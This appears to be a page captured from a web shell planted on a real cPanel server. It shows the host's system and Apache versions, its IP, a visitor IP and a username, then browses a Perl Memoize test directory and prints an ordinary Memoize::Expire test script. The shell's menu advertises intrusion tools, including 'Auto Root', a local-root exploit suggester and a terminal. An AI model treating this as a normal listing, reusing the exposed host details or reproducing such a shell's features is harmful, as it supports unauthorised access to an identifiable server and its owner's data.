Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
cpan /
Memoize /
t /
Delete
Unzip
Name
Size
Permission
Date
Action
array.t
1.41
KB
-r--r--r--
2014-12-27 11:48
array_confusion.t
771
B
-r--r--r--
2014-12-27 11:48
correctness.t
3.04
KB
-r--r--r--
2014-12-27 11:48
errors.t
1.38
KB
-r--r--r--
2014-12-27 11:48
expfile.t
1.32
KB
-r--r--r--
2014-12-27 11:48
expire.t
943
B
-r--r--r--
2014-12-27 11:48
expmod_n.t
1.1
KB
-r--r--r--
2014-12-27 11:48
expmod_t.t
2.36
KB
-r--r--r--
2014-12-27 11:48
flush.t
614
B
-r--r--r--
2014-12-27 11:48
normalize.t
1.38
KB
-r--r--r--
2014-12-27 11:48
prototype.t
570
B
-r--r--r--
2014-12-27 11:48
speed.t
2.99
KB
-r--r--r--
2014-12-27 11:48
tie.t
1.54
KB
-r--r--r--
2014-12-27 11:48
tie_gdbm.t
1.23
KB
-r--r--r--
2014-12-27 11:48
tie_ndbm.t
1.31
KB
-r--r--r--
2014-12-27 11:48
tie_sdbm.t
1.41
KB
-r--r--r--
2014-12-27 11:48
tie_storable.t
1.29
KB
-r--r--r--
2014-12-27 11:48
tiefeatures.t
1.18
KB
-r--r--r--
2014-12-27 11:48
unmemoize.t
520
B
-r--r--r--
2014-12-27 11:48
Save
Rename
#!/usr/bin/perl use lib '..'; use Memoize; my $n = 0; print "1..22\n"; ++$n; print "ok $n\n"; $RETURN = 1; %CALLS = (); sub call { # print "CALL $_[0] => $RETURN\n"; ++$CALLS{$_[0]}; $RETURN; } require Memoize::Expire; ++$n; print "ok $n\n"; tie my %cache => 'Memoize::Expire', NUM_USES => 2; memoize 'call', SCALAR_CACHE => [HASH => \%cache], LIST_CACHE => 'FAULT'; # $Memoize::Expire::DEBUG = 1; ++$n; print "ok $n\n"; # 3--6 for (0,1,2,3) { print "not " unless call($_) == 1; ++$n; print "ok $n\n"; } # 7--10 for (keys %CALLS) { print "not " unless $CALLS{$_} == (1,1,1,1)[$_]; ++$n; print "ok $n\n"; } # 11--13 $RETURN = 2; ++$n; print ((call(1) == 1 ? '' : 'not '), "ok $n\n"); # 1 expires ++$n; print ((call(1) == 2 ? '' : 'not '), "ok $n\n"); # 1 gets new val ++$n; print ((call(2) == 1 ? '' : 'not '), "ok $n\n"); # 2 expires # 14--17 $RETURN = 3; for (0,1,2,3) { # 0 expires, 1 expires, 2 gets new val, 3 expires print "not " unless call($_) == (1,2,3,1)[$_]; ++$n; print "ok $n\n"; } for (0,1,2,3) { print "not " unless $CALLS{$_} == (1,2,2,1)[$_]; ++$n; print "ok $n\n"; }